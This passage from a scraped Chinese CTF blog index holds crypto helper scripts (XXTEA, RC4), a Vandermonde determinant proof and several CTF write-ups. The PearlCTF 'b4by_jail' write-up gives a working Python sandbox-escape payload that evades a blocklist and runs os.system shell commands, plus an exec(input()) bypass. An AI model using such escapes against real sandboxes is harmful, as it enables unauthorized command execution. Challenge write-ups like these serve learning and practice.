\u0026gt;\u0026gt; 3 ^ z \u0026lt;\u0026lt; 4)) ^ ((sum ^ y) + (key[(p \u0026amp; 3) ^ e] ^ z))); 25\tsum -= DELTA; 26\t} 27} 28 29int main() 30{ 31\tunsigned int cipher[6] = { 0xbe061ed4, 0x84afc0b0, 0xd533f957, 0xf12e35ab, 0xd5dd1f5e, 0xc0e97f4b }; 32\tunsigned int key[4] = { 0xa96a5bc4, 0xac7afdb5, 0x7c8a1209, 0x350de6d0 }; 33\tunsigned int* message = cipher; 34\tint n = 6; 35 36\txxteadecrypt(key, message, n); // 在发明者给出的脚本中,n 的正负决定程序执行加密还是解密,n 为正时加密,n 为负时解密,但是解密算法里实际使用到 n 的时候依然要使用正数 37 38\tfor (int i = 0; i \u0026lt; n; i++) 39\t{ 40\tcout \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; message[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; 41\t} 42 43\treturn 0; 44} RC4 RC4 加密有一个非常显著的特点,就是加密和解密可以用同一段代码实现。类似于 ROT13,把 RC4 加密得到的密文使用相同的密码再加密一遍,就可以得到明文。理论上讲,如果在题目里遇到了 RC4 加密,可以把密文塞回程序再跑一边,明文就自己出来了。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;iomanip\u0026gt; 3 4using namespace std; 5 6void swap(int\u0026amp; a, int\u0026amp; b) 7{ 8 int tmp = a; 9 a = b; 10 b = tmp; 11} 12 13void init(int* S, int* T, string key) 14{ 15 int keylen = key.length(); 16 17 for (int j = 0; j \u0026lt; 256; j++) // 初始化 S 盒、T 表 18 { 19 S[j] = j; 20 T[j] = key[j % keylen]; 21 } 22} 23 24void KSA(int* S, int* T) 25{ 26 int j = 0; 27 for (int i = 0; i \u0026lt; 256; i++) 28 { 29 j = (j + S[i] + T[i]) % 256; 30 swap(S[i], S[j]); 31 } 32} 33 34void PRGA(int* S, int* D, string message) 35{ 36 int i = 0, j = 0, t; 37 for (int h = 0; h \u0026lt; message.length(); h++) 38 { 39 i = (i + 1) % 256; 40 j = (j + S[i]) % 256; 41 swap(S[i], S[j]); // 生成伪随机 42 t = (S[i] + S[j]) % 256; 43 D[h] = S[t] ^ message[h]; 44 } 45} 46 47int main() 48{ 49 string message, key; 50 int S[256] = { 0 }, T[256] = { 0 }, D[256] = { 0 }; 51 cin \u0026gt;\u0026gt; message; 52 cin \u0026gt;\u0026gt; key; 53 54 init(S, T, key); 55 KSA(S, T); 56 PRGA(S, D, message); 57 58 for (int i = 0; i \u0026lt; message.length(); i++) 59 { 60 printf(\u0026#34;%02x \u0026#34;, D[i]); // 输出两位十六进制数 61 } 62 63 return 0; 64} 这里是一个加密脚本,因此使用 cin 输入数据。\n特征:分为两部分操作,KSA(生成密钥流)与 PRGA(生成伪随机)。\n","link":"https://jackgdn.github.io/post/%E8%84%9A%E6%9C%AC%E5%BA%93/","section":"post","tags":["Reverse","C++","Python"],"title":"逆向相关算法脚本(暂时停更)"},{"body":"","link":"https://jackgdn.github.io/tags/crypto/","section":"tags","tags":null,"title":"Crypto"},{"body":"","link":"https://jackgdn.github.io/tags/wp/","section":"tags","tags":null,"title":"WP"},{"body":"","link":"https://jackgdn.github.io/categories/wp/","section":"categories","tags":null,"title":"WP"},{"body":"范德蒙德行列式:\n$$ \\begin{vmatrix}1 \u0026amp; 1 \u0026amp; \\cdots \u0026amp; 1 \\\\ x_1 \u0026amp; x_2 \u0026amp; \\cdots \u0026amp; x_n \\\\ x_1^2 \u0026amp; x_2^2 \u0026amp; \\cdots \u0026amp; x_n^2 \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ x_1^{n-1} \u0026amp; x_2^{n-1} \u0026amp; \\cdots \u0026amp; x_n^{n-1} \\end{vmatrix} = \\prod_{n \\ge i \u0026gt; j \\ge 1}(x_i-x_j) $$\n证明如下:\n从第 $n$ 行开始,将行列式中的后一行减去前一行的 $x_1$ 倍,得到下式:\n$$ \\begin{align*} \\begin{vmatrix} 1 \u0026amp; 1 \u0026amp; \\cdots \u0026amp; 1 \\\\ 0 \u0026amp; x_2-x_1 \u0026amp; \\cdots \u0026amp; x_n-x_1 \\\\ 0 \u0026amp; x_2(x_2-x_1) \u0026amp; \\cdots \u0026amp; x_n(x_n-x_1) \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ 0 \u0026amp; x_2^{n-2}(x_2-x_1) \u0026amp; \\cdots \u0026amp; x_n^{n-2}(x_n-x_1) \\end{vmatrix}\\\\ \\ \\\\ \\ \\\\ = \\begin{vmatrix} 1 \u0026amp; 1 \u0026amp; \\cdots \u0026amp; 1 \\\\ 0 \u0026amp; x_2-x_1 \u0026amp; \\cdots \u0026amp; x_n-x_1 \\\\ 0 \u0026amp; x_2(x_2-x_1) \u0026amp; \\cdots \u0026amp; x_n(x_n-x_1) \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ 0 \u0026amp; x_2^{n-2}(x_2-x_1) \u0026amp; \\cdots \u0026amp; x_n^{n-2}(x_n-x_1) \\end{vmatrix} \\end{align*} $$\n将得到的行列式按第 $1$ 行展开,得到\n$$ \\begin{align*} \u0026amp;\\begin{vmatrix} x_2-x_1 \u0026amp; x_3-x_1 \u0026amp; \\cdots \u0026amp; x_n-x_1 \\\\ x_2(x_2-x_1) \u0026amp; x_3(x_3-x_1) \u0026amp; \\cdots \u0026amp; x_n(x_n-x_1) \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ x_2^{n-2}(x_2-x_1) \u0026amp; x_3^{n-2}(x_3-x_1) \u0026amp; \\cdots \u0026amp; x_n^{n-2}(x_n-x_1) \\end{vmatrix} \\\\ \\ \\\\ \\ \\\\ \u0026amp;= (x_2-x_1)(x_3-x_1) \\cdots (x_n-x_1) \\begin{vmatrix} 1 \u0026amp; 1 \u0026amp; \\cdots \u0026amp; 1 \\\\ x_2 \u0026amp; x_3 \u0026amp; \\cdots \u0026amp; x_n \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ x_2^{n-2} \u0026amp; x_3^{n-2} \u0026amp; \\cdots \u0026amp; x_n^{n-2} \\end{vmatrix} \\end{align*} $$\n此时该式右端为一个 $n-1$ 阶的范德蒙德行列式,可以写成:\n$$ (x_3-x_2)(x_4-x_2) \\cdots (x_n-x_2) \\begin{vmatrix} 1 \u0026amp; 1 \u0026amp; \\cdots \u0026amp; 1 \\\\ x_3 \u0026amp; x_4 \u0026amp; \\cdots \u0026amp; x_n \\\\ \\vdots \u0026amp; \\vdots \u0026amp; \\ddots \u0026amp; \\vdots \\\\ x_3^{n-3} \u0026amp; x_4^{n-3} \u0026amp; \\cdots \u0026amp; x_3^{n-3} \\end{vmatrix} $$\n根据数学归纳法,可以把范德蒙德行列式写作:\n$$ \\begin{align*} \u0026amp;(x_2-x_1)(x_3-x_1) \\cdots (x_n-x_1)(x_3-x_2)(x_4-x_2) \\cdots (x_n-x_{n-1}) \\\\ \\ \\\\ \\ \\\\ \u0026amp;= \\prod_{n \\ge i \u0026gt; j \\ge 1}(x_i-x_j) \\end{align*} $$\n证毕。\n","link":"https://jackgdn.github.io/post/%E8%8C%83%E5%BE%B7%E8%92%99%E5%BE%B7%E8%A1%8C%E5%88%97%E5%BC%8F%E8%AF%81%E6%98%8E/","section":"post","tags":["线性代数","数学"],"title":"范德蒙德行列式证明"},{"body":"[SWPU2019] ReverseMe 乍一看 main() 函数里没有什么东西。切到反汇编界面,我们看到了一位老朋友——SEH。\n通过使用“广撒网”的打断点方式(在每一个可疑的 call 指令打断点),找到输入函数的位置:\n紧接着下面就对输入内容的长度进行判定,输入内容的长度为 0x20。\n继续调试,可以看到输入的内容在下面位置进行了异或操作:\n最后在下面与密文进行比较:\n根据此操作的特点,流程图模式中指向自己的代码块更可能是执行加密算法的部分。\n提取数据后使用脚本解密:\n1k1 = \u0026#39;SWPU_2019_CTF\u0026#39; 2k2 = [ 3 0x86, 0x0C, 0x3E, 0xCA, 0x98, 0xD7, 0xAE, 0x19, 0xE2, 0x77, 4 0x6B, 0xA6, 0x6A, 0xA1, 0x77, 0xB0, 0x69, 0x91, 0x37, 0x05, 5 0x7A, 0xF9, 0x7B, 0x30, 0x43, 0x5A, 0x4B, 0x10, 0x86, 0x7D, 6 0xD4, 0x28 7] 8k3 = [ 9 0xB3, 0x37, 0x0F, 0xF8, 0xBC, 0xBC, 0xAE, 0x5D, 0xBA, 0x5A, 10 0x4D, 0x86, 0x44, 0x97, 0x62, 0xD3, 0x4F, 0xBA, 0x24, 0x16, 11 0x0B, 0x9F, 0x72, 0x1A, 0x65, 0x68, 0x6D, 0x26, 0xBA, 0x6B, 12 0xC8, 0x67 13] 14 15for i in range(0x20): 16 print(chr(ord(k1[i % 13]) ^ k2[i] ^ k3[i]), end = \u0026#39;\u0026#39;) 17 18# output: flag{Y0uaretheB3st!#@_VirtualCC} buuctf - rsa 不是很懂,为什么一道 RSA 被放到了逆向里。\n题目附件中有两个文件: pub.key 和 flag.enc。\n万事俱备,直接解:\n1from Crypto.PublicKey import RSA 2 3with open(\u0026#39;pub.key\u0026#39;, \u0026#39;r\u0026#39;) as pubkey: 4 key = RSA.importKey(pubkey.read()) 5 6print(key.n) 7 8# output: 86934482296048119190666062003494800588905656017203025617216654058378322103517 上面的脚本从 pub.key 中读取出了 n,分解后可以解出 flag:\n1from Crypto.Util.number import * 2import gmpy2 3 4n = 86934482296048119190666062003494800588905656017203025617216654058378322103517 5p = 285960468890451637935629440372639283459 6q = 304008741604601924494328155975272418463 7e = 65537 8 9phi = (p - 1) * (q - 1) 10d = gmpy2.invert(e, phi) 11 12with open(\u0026#39;flag.enc\u0026#39;, \u0026#39;rb\u0026#39;) as flag: 13 c = bytes_to_long(flag.read()) 14 15m = pow(c, d, n) 16print(long_to_bytes(m)) 17 18# output: b\u0026#39;\\x02\\x9d {zR\\x1e\\x08\\xe4\\xe6\\x18\\x06\\x00flag{decrypt_256}\\n\u0026#39; [QCTF2018] Xman-babymips 题目唯一亮点在于它是 MIPS 架构汇编,不过用 IDA 7.7 照样可以反编译。\n核心代码:\n1int __fastcall main(int a1, char **a2, char **a3) 2{ 3 int i; // [sp+18h] [+18h] BYREF 4 char v5[36]; // [sp+1Ch] [+1Ch] BYREF 5 6 setbuf(stdout, 0); 7 setbuf(stdin, 0); 8 printf(\u0026#34;Give me your flag:\u0026#34;); 9 scanf(\u0026#34;%32s\u0026#34;, v5); 10 for ( i = 0; i \u0026lt; 32; ++i ) 11 v5[i] ^= 32 - i; 12 if ( !strncmp(v5, fdata, 5u) ) 13 return sub_4007F0(v5); 14 else 15 return puts(\u0026#34;Wrong\u0026#34;); 16} 17 18int __fastcall sub_4007F0(const char *a1) 19{ 20 char v1; // $v1 21 size_t i; // [sp+18h] [+18h] 22 23 for ( i = 5; i \u0026lt; strlen(a1); ++i ) 24 { 25 if ( (i \u0026amp; 1) != 0 ) 26 v1 = (a1[i] \u0026gt;\u0026gt; 2) | (a1[i] \u0026lt;\u0026lt; 6); 27 else 28 v1 = (4 * a1[i]) | (a1[i] \u0026gt;\u0026gt; 6); 29 a1[i] = v1; 30 } 31 if ( !strncmp(a1 + 5, off_410D04, 0x1Bu) ) 32 return puts(\u0026#34;Right!\u0026#34;); 33 else 34 return puts(\u0026#34;Wrong!\u0026#34;); 35} 我 NT 了,竟然在这道题上卡住,主要是脚本写的有问题。正确脚本如下:\n1c = [ 2 0x51, 0x7C, 0x6A, 0x7B, 0x67, 0x52, 0xFD, 3 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41, 0x54, 0xA0, 4 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 5 0x1A, 0x15, 0x5B, 0x75, 0x1F 6] 7 8for i in range(5, 32): 9 if i % 2 == 0: 10 c[i] = (c[i] \u0026gt;\u0026gt; 2 | c[i] \u0026lt;\u0026lt; 6) \u0026amp; 0x7F 11 else: 12 c[i] = (c[i] \u0026lt;\u0026lt; 2 | c[i] \u0026gt;\u0026gt; 6) \u0026amp; 0x7F 13 14for i in range(32): 15 print(chr(c[i] ^ 32 - i), end = \u0026#39;\u0026#39;) 16 17# output: qctf{ReA11y_4_B@89_mlp5_4_XmAn_} [WMCTF2020] easy_re 这道题的程序使用 Perl 语言编写,随后通过 ActivePerl 将代码打包成可执行文件。运行程序,程序会输出 \u0026quot;please input the flag:\u0026quot; 提示输入 flag。但是在 IDA 中搜索字符串,无法找到相应字符串。\n根据已知的信息,Perl 语言在打包成可执行文件时,会将解释器、编译器与压缩后的代码一同装进可执行文件中。在执行时,程序会首先初始化编译器,随后解压代码并执行代码。在执行源代码,程序会向栈内压入一个字符串 \u0026quot;script\u0026quot; 用于标记。因此搜索字符串 \u0026quot;script\u0026quot; 并定位到这里。\n上图中 sub_40D1A0() 是解压 Perl 脚本的部分,解压完成后原始 Perl 脚本地址会存储在 rax 寄存器中。\n经调试可以得到原始 Perl 脚本:\n1$flag = \u0026#34;WMCTF{I_WAnt_dynam1c_F1ag}\u0026#34;; 2print \u0026#34;please input the flag:\u0026#34;; 3$line = \u0026lt;STDIN\u0026gt;; 4chomp($line); 5if($line eq $flag){ 6\tprint \u0026#34;congratulation!\u0026#34; 7}else{ 8\tprint \u0026#34;no,wrong\u0026#34; 9} flag 一目了然。\n","link":"https://jackgdn.github.io/post/%E8%BF%91%E6%9C%9F%E8%A7%A3%E9%A2%98_20240314/","section":"post","tags":["Reverse","Crypto","WP"],"title":"近期解题 2024.3.14"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%95%B0%E5%AD%A6/","section":"tags","tags":null,"title":"数学"},{"body":"","link":"https://jackgdn.github.io/categories/%E6%95%B0%E5%AD%A6/","section":"categories","tags":null,"title":"数学"},{"body":"","link":"https://jackgdn.github.io/tags/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/","section":"tags","tags":null,"title":"线性代数"},{"body":"","link":"https://jackgdn.github.io/tags/forensics/","section":"tags","tags":null,"title":"Forensics"},{"body":"","link":"https://jackgdn.github.io/tags/misc/","section":"tags","tags":null,"title":"MISC"},{"body":"I am so vegetable 我太菜了 :-(\nb4by_jail 一道简单的 Python 沙箱逃逸(指连我都会做),题目附件如下:\n1#!/usr/local/bin/python 2import time 3flag=\u0026#34;pearl{f4k3_fl4g}\u0026#34; 4blacklist=list(\u0026#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},\u0026lt;\u0026gt;/123456789\u0026#34;) 5def banner(): 6 file=open(\u0026#34;txt.txt\u0026#34;,\u0026#34;r\u0026#34;).read() 7 print(file) 8def check_blocklist(string): 9 for i in string: 10 if i in blacklist: 11 return(0) 12 return(1) 13def main(): 14 banner() 15 cmd=input(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;) 16 time.sleep(1) 17 if(check_blocklist(cmd)): 18 try: 19 print(eval(cmd)) 20 except: 21 print(\u0026#34;Sorry no valid output to show.\u0026#34;) 22 else: 23 print(\u0026#34;Your sentence has been increased by 2 years for attempted escape.\u0026#34;) 24 25main() 所有的字母都被屏蔽,部分符号被屏蔽,数字仅 0 可用,因此想到使用 Unicode 特殊字符绕过。把 __import__('os').system('ls') 的全部字母都换成全角字符:\n1\u0026gt;\u0026gt;\u0026gt; __import__(\u0026#39;os\u0026#39;).system(\u0026#39;ls\u0026#39;) 2Traceback (most recent call last): 3 File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; 4ModuleNotFoundError: No module named \u0026#39;os\u0026#39; 根据 web 师傅的经验,在进行 SSTI 注入时,模块名只能使用原字符。同时由于 Linux 操作系统的限制,os.system() 中的指令也只能使用原字符。因此我们使用下面的方法作为修改过的载荷:\n1__import__(chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;))).system(chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;))) 其中的 “os” 与 “ls” 都使用 0 的数量表示,最终拼凑出来的是原字符。通过这个载荷可以看到 flag 所在的文件:./run。随后将载荷中的 “ls” 改为 “cat ./run” 得到 flag。修改后的载荷如下:\n1__import__(chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;))).system(chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;))) 修改载荷的脚本(用于将字符使用 0 的数量表示):\n1d = \u0026#34;cat ./run\u0026#34; 2s = \u0026#39;\u0026#39; 3for i in d: 4 s += \u0026#34;chr(len(\u0026#39;\u0026#34; 5 s += ord(i) * \u0026#39;0\u0026#39; 6 s += \u0026#34;\u0026#39;)) + \u0026#34; 7print(s[:-3]) 8 9# output: chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;0000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) + chr(len(\u0026#39;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\u0026#39;)) 除了这一种方法,还可以使用 exec(input()) 作为攻击载荷,这样程序就会执行我们在下一行输入的代码而不进行字符检测,因此后面就可以直接输入 __import__('os').system('ls') 以及 __import__('os').system('cat ./run') 得到 flag。\nTooRandom 能解出这道题就是 too random。下面是题目源码:\n1from flask import Flask 2from flask import render_template 3from flask import redirect 4from flask import request 5 6import random 7 8app = Flask(__name__) 9app.secret_key = \u0026#34;secret_key\u0026#34; 10 11seed = random.getrandbits(32) 12random.seed(seed) 13flag_no = None 14 15def generate_user_ids(): 16 global flag_no 17 random_numbers = [] 18 for i in range(1000000): 19 random_number = random.getrandbits(32) 20 random_numbers.append(random_number) 21 flag_no = random_numbers[-1] 22 print(flag_no) 23 st_id = 624 24 end_id = 999999 25 del random_numbers[st_id:end_id] 26 return random_numbers 27 28user_ids = generate_user_ids() 29j = 0 30 [email protected](\u0026#39;/\u0026#39;) 32def home(): 33 return redirect(\u0026#39;/dashboard\u0026#39;) 34 [email protected](\u0026#39;/dashboard\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) 36def dashboard(): 37 global j 38 id_no = user_ids[j%624] 39 j += 1 40 if request.method == \u0026#39;POST\u0026#39;: 41 number = int(request.form[\u0026#39;number\u0026#39;]) 42 if number == flag_no: 43 return redirect(\u0026#39;/flagkeeper\u0026#39;) 44 else: 45 return redirect(\u0026#39;/wrongnumber\u0026#39;) 46 return render_template(\u0026#39;dashboard.html\u0026#39;, number=id_no) 47 [email protected](\u0026#39;/flagkeeper\u0026#39;) 49def flagkeeper_dashboard(): 50 return render_template(\u0026#39;flag_keeper.html\u0026#39;, user_id=flag_no) 51 [email protected](\u0026#39;/wrongnumber\u0026#39;) 53def wrong_number(): 54 return render_template(\u0026#39;wrong_number.html\u0026#39;) 55 56if __name__ == \u0026#39;__main__\u0026#39;: 57 app.run(debug=False, host=\u0026#34;0.0.0.0\u0026#34;) 题目需要开启实例,进去后会让用户输入一个随机数:\n此页面为 /dashboard。如果随便输入一个数,大概率会错误,然后进入一个错误页面:\n此时页面为 /wrongnumber。根据题目给出代码中的逻辑,如果输入数字错误,则会进入 /wrongnumber,否则进入 /flagkeeper,因此尝试直接进入 /flagkeeper:\n噫!我中了!网页竟然连个保护都没有,应该是非预期解了。\ninput_validator 题目附件是一个 Java 类,反编译得到:\n1// Source code is decompiled from a .class file using FernFlower decompiler. 2import java.util.Scanner; 3 4public class input_validator { 5 private static final int FLAG_LEN = 34; 6 7 public input_validator() { 8 } 9 10 private static boolean validate(String var0, String var1) { 11 int[] var2 = new int[34]; 12 int[] var3 = new int[]{1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427}; 13 14 int var4; 15 for(var4 = 0; var4 \u0026lt; 34; ++var4) { 16 var2[var4] = var0.charAt(var4) ^ var1.charAt(var4); 17 } 18 19 for(var4 = 0; var4 \u0026lt; 34; ++var4) { 20 var2[var4] -= var1.charAt(33 - var4); 21 } 22 23 int[] var6 = new int[34]; 24 25 int var5; 26 for(var5 = 0; var5 \u0026lt; 17; ++var5) { 27 var6[var5] = var2[1 + var5 * 2] * 5; 28 var6[var5 + 17] = var2[var5 * 2] * 2; 29 } 30 31 for(var5 = 0; var5 \u0026lt; 34; ++var5) { 32 var6[var5] += 1337; 33 } 34 35 for(var5 = 0; var5 \u0026lt; 34; ++var5) { 36 if (var6[var5] != var3[var5]) { 37 return false; 38 } 39 } 40 41 return true; 42 } 43 44 public static void main(String[] var0) { 45 Scanner var1 = new Scanner(System.in); 46 String var2 = \u0026#34;oF/M5BK_U\u0026lt;rqxCf8zWCPC(RK,/B\u0026#39;v3uARD\u0026#34;; 47 System.out.print(\u0026#34;Enter input: \u0026#34;); 48 String var3 = var1.nextLine(); 49 if (var3.length() != 34) { 50 System.out.println(\u0026#34;Input length does not match!\u0026#34;); 51 } else { 52 if (validate(new String(var3), var2)) { 53 System.out.println(\u0026#34;Correct\u0026#34;); 54 } else { 55 System.out.println(\u0026#34;Wrong\u0026#34;); 56 } 57 58 } 59 } 60} 解题脚本:\n1c = [1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427] 2key = list(\u0026#34;oF/M5BK_U\u0026lt;rqxCf8zWCPC(RK,/B\u0026#39;v3uARD\u0026#34;) 3 4for i in range(34): 5 key[i] = ord(key[i]) 6 7for i in range(34): 8 c[i] -= 1337 9 10c1 = [\u0026#39;\u0026#39;] * 34 11for i in range(17): 12 c1[i * 2 + 1] = int(c[i] / 5) 13 c1[i * 2] = int(c[i + 17] / 2) 14 15for i in range(34): 16 c1[i] += key[33 - i] 17 18for i in range(34): 19 c1[i] ^= key[i] 20 21for i in range(34): 22 print(chr(c1[i]), end = \u0026#39;\u0026#39;) 23 24# output: pearl{w0w_r3v3r51ng_15_50_Ea5y_!!} Shipwreck 题目附件是一个 .blend Blender 工程文件,需要使用 Blender 打开。\nflag 在船上第二根桅杆顶部的灯泡上,把灯泡隐藏就能看见 flag。\n眼力题。\nExcel Mayhem 题目附件是一个 .xlsx 的 Excel 表格文件,文件中有 40000 个 flag,其中有 39999 个 fake flag 与一个 real flag。\n众所周知,.xlsx 文件本质上是一个压缩文件,我们不妨修改文件后缀名为 .zip 并解压之。原文件中的字符串存储于 flags\\xl\\sharedStrings.xml 中。\n使用下面的脚本检测缺少哪一个 'fake_flag'\n1with open(\u0026#34;sharedStrings.xml\u0026#34;, \u0026#39;r\u0026#39;) as xml: 2 s = xml.read().split(\u0026#39;\u0026lt;/t\u0026gt;\u0026lt;/si\u0026gt;\u0026lt;si\u0026gt;\u0026lt;t\u0026gt;\u0026#39;) 3 4for i in range(2,40001): 5 fake = f\u0026#34;fake_flag{i}\u0026#34; 6 if fake not in s: 7 print(i) 8 break 9 10# output: 1351 第 1351 个 flag 是 real flag。\n其实眼力好的话,有几行宽度不一样,也可以直接看出来。\n","link":"https://jackgdn.github.io/post/pearl2024/","section":"post","tags":["Reverse","Misc","Forensics","WP"],"title":"PearlCTF 2024 WP"},{"body":"本文中交替出现 Python 的编译模式和交互模式代码块,为便于区分,带有 \u0026gt;\u0026gt;\u0026gt; 的 Python 代码块为交互模式,其余 Python 代码块为编译模式。\n可变对象与不可变对象 可变对象 不可变对象 列表、字典、集合 整型、浮点型、布尔型、字符串、元组 简单来说,可变对象就是指在修改数据时,直接修改原来的数据对象;不可变对象则是创建一个新的对象,并且将变量的引用转移到新创建的对象上。\n1dictnry = {\u0026#39;a\u0026#39;: 0, \u0026#39;b\u0026#39;: 1} # 字典对象为可变对象 2print(id(dictnry)) 3dictnry[\u0026#39;a\u0026#39;] = 1 4print(id(dictnry)) 5 6\u0026#39;\u0026#39;\u0026#39; 7output: 81570839226304 91570839226304 10\u0026#39;\u0026#39;\u0026#39; 下面是一个不可变对象的例子:\n1string = \u0026#39;Hello, world?\u0026#39; 2print(id(string)) 3new_string = string.replace(\u0026#39;?\u0026#39;, \u0026#39;!\u0026#39;) # 因为字符串是不可变对象,因此在修改时需要一个新的变量接受修改后的字符串 4print(id(new_string)) 5print(string) 6print(new_string) 7 8\u0026#39;\u0026#39;\u0026#39; 9output: 101668896675760 111668896210864 12Hello, world? 13Hello, world! 14\u0026#39;\u0026#39;\u0026#39; 深拷贝与浅拷贝 浅拷贝:拷贝对象的引用。当原对象的数据改变时,拷贝的对象也会发生改变。 深拷贝:创建一个新的对象并将原数据存入新的对象。原对象数据改变不影响拷贝对象 在 Python 中,使用 copy() 函数实现浅拷贝,使用 copy.deepcopy() 函数实现深拷贝。\n1# 浅拷贝 2\u0026gt;\u0026gt;\u0026gt; a = {\u0026#39;a\u0026#39;: [1, 2]} 3\u0026gt;\u0026gt;\u0026gt; b = a.copy() 4\u0026gt;\u0026gt;\u0026gt; a, b 5({\u0026#39;a\u0026#39;: [1, 2]}, {\u0026#39;a\u0026#39;: [1, 2]}) 6\u0026gt;\u0026gt;\u0026gt; a[\u0026#39;a\u0026#39;].append(3) 7\u0026gt;\u0026gt;\u0026gt; a, b 8({\u0026#39;a\u0026#39;: [1, 2, 3]}, {\u0026#39;a\u0026#39;: [1, 2, 3]}) 9# 在浅拷贝中,只拷贝原对象的引用(地址)而非创建一个新的对象,因此原对象的值改变,拷贝的对象也随之改变。 10 11# 深拷贝 12\u0026gt;\u0026gt;\u0026gt; import copy 13\u0026gt;\u0026gt;\u0026gt; a = {\u0026#39;a\u0026#39;: [1, 2]} 14\u0026gt;\u0026gt;\u0026gt; b = copy.deepcopy(a) 15\u0026gt;\u0026gt;\u0026gt; a, b 16({\u0026#39;a\u0026#39;: [1, 2]}, {\u0026#39;a\u0026#39;: [1, 2]}) 17\u0026gt;\u0026gt;\u0026gt; a[\u0026#39;a\u0026#39;].append(3) 18\u0026gt;\u0026gt;\u0026gt; a, b 19({\u0026#39;a\u0026#39;: [1, 2, 3]}, {\u0026#39;a\u0026#39;: [1, 2]}) 20# 在深拷贝中,拷贝创建了一个新的对象,因此原对象的值发生改变不影响拷贝的对象的值。 打开 Python Shell,尝试以下操作:\n1\u0026gt;\u0026gt;\u0026gt; a = 10 2\u0026gt;\u0026gt;\u0026gt; b = 10 3\u0026gt;\u0026gt;\u0026gt; a is b 4True 5\u0026gt;\u0026gt;\u0026gt; a = -4 6\u0026gt;\u0026gt;\u0026gt; b = -4 7\u0026gt;\u0026gt;\u0026gt; a is b 8True 9\u0026gt;\u0026gt;\u0026gt; a = 1234 10\u0026gt;\u0026gt;\u0026gt; b = 1234 11\u0026gt;\u0026gt;\u0026gt; a is b 12False 13\u0026gt;\u0026gt;\u0026gt; a = 